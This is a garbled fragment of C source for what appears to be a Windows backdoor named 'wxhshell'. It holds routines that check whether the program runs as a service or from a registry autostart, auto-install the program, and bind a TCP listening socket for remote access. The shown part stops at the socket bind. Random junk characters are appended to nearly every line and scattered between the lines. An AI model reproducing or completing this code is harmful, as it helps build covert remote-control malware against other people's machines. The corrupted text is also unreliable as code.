ULONG InheritedFromUniqueProcessId; ZfSAXr "(
} PROCESS_BASIC_INFORMATION; z|WDqB%/I
Nh+ZSV4WJ:
PROCNTQSIP NtQueryInformationProcess; .>+jtp}
f}?q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A"no!AN
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '`/w%OEVC5
U
Y')|2y
5
HANDLE hProcess; 6dQ]=];
PROCESS_BASIC_INFORMATION pbi; .+2@(r
cP&XkAQ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {,
zg
if(NULL == hInst ) return 0; :Wmio\
[B" CNnA
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WoX,F1 o
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~JSa]6:_+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1xt N3{c
ZY{zFg9
if (!NtQueryInformationProcess) return 0; r^$WX@ t&
$ZfoJR]%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RMO6k bfP
if(!hProcess) return 0; %N0cp@Vz
0Lki(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wz-7oP%;I
'qnnZE
CloseHandle(hProcess); -40OS=wpA
-8D$ [@y(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =3<@{^Eg
if(hProcess==NULL) return 0; N[8y+2SZ
P4.snRQ
HMODULE hMod; O/bpm-h`8c
char procName[255]; ]Q*eCt;l"K
unsigned long cbNeeded; Sp^jC
Xu
ZX03FJL7u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }5a$Ka-
u|uPvbM
CloseHandle(hProcess); (H-Y-Lk+
\ws^L,h
if(strstr(procName,"services")) return 1; // 以服务启动 Gw0MDV&[
/%5X:*:H
return 0; // 注册表启动 IiRII)
} {wyf>L0j
8
!+eq5S3
// 主模块 {ZrB,yK
int StartWxhshell(LPSTR lpCmdLine) n>
O3p
~
{ $ H2HVJ
SOCKET wsl; Ceco^Mw
BOOL val=TRUE; xXm:S{I
int port=0; {ehAF=C
struct sockaddr_in door; Ri&?uCCM
kG70j{gf
if(wscfg.ws_autoins) Install(); [t}$W*hY
[Csv/
port=atoi(lpCmdLine); %9P)Okq
CxW-lU3G`
if(port<=0) port=wscfg.ws_port; 7d"gRM;
>djTJ>dl_u
WSADATA data; Rr3<ln
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k| Ye[GM*
hY-;Vh0J
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N>'|fNx]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LAfv1
door.sin_family = AF_INET; o,;Hb4Eu
door.sin_addr.s_addr = inet_addr("127.0.0.1"); y&8kORz;?
door.sin_port = htons(port); gBCO>nJws
~76qFZe-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *g;4?_f
closesocket(wsl); -)2sR>`A%
return 1; :KL5A1{
} 1xF<c<
Z$&